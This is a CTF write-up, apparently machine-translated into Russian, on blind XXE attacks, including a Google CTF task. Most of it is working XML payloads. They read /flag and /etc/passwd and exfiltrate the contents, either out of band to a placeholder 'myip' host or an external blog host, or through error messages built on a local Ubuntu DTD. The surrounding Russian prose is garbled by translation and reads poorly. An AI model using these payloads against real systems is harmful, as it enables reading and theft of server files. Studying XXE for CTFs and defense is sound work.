0x01 опубликовал исходный адрес
Слепой XXE Детальный анализ вопроса с Google CTF
0x02 размещена общая полезная нагрузка
A, Blind XXE
1, внешнийDTD
(1) добавить следующее в ваших серверных DTD
файлов
xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip:10001/?%file;'>">
%start;
Затем запрос данных состоит в следующем (с php
кодированием данных протокола передается base64
)
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://myip/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
2, локальный файл DTD
ubuntu
Система поставляется /usr/share/yelp/dtd/docbookx.dtd
частично
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>
Во-вторых, на основе ошибки Слепых XXE
Основываясь на принципах данных и OOB
т.п., OOB
через URL - адрес Конфигурация внешних данных из ленты, и настраивается на основе ложной ошибки url
и утечка содержимого файла на url
данных , возвращаемых этим способом.
Так и OOB
способ строительства практически только url
разные, точно так же в других местах.
1, вводя файл сервера
xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
2, путем введения локального файла
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>
0x03 Google CTF
Сначала с burpsuite пойманы
здесь нашел проблему, на основе json
к web
применению, а иногда также могут быть отправлены xml
, мы будем json
менять xml
, а затем отправитьpayload
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%remote;
]>
<message>10</message>
Но я обнаружил, что если я не ссылаюсь на внешние DTD файлы непосредственно через гнездовые параметрические сущности, этот вопрос можно также сделать это.
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message
0x04 интересное открытие
Я обнаружил , что, хотя W3C
соглашение не допускается в сущности параметра , указанного в декларации внутренней сущности, но много XML
синтаксический анализатор не выполняет хорошо эту проверку. Почти все XML
синтаксический анализатор обнаружил , что следующие два вложенных
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>">
%start;
%send;
]>
<message>10</message>
Но три вложенная сущность параметра строится полезной нагрузкой Некоторых XML - парсер не может быть обнаружен, например, мои двух комбинаций этой тестовой php7.2 + libxml2 2.9.4
версии и php5.4 + libxml2 2.9.1
эффективно используется
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message>
Это означает , что, без ссылки на внешний DTD может быть достигнуто Blind XXE
.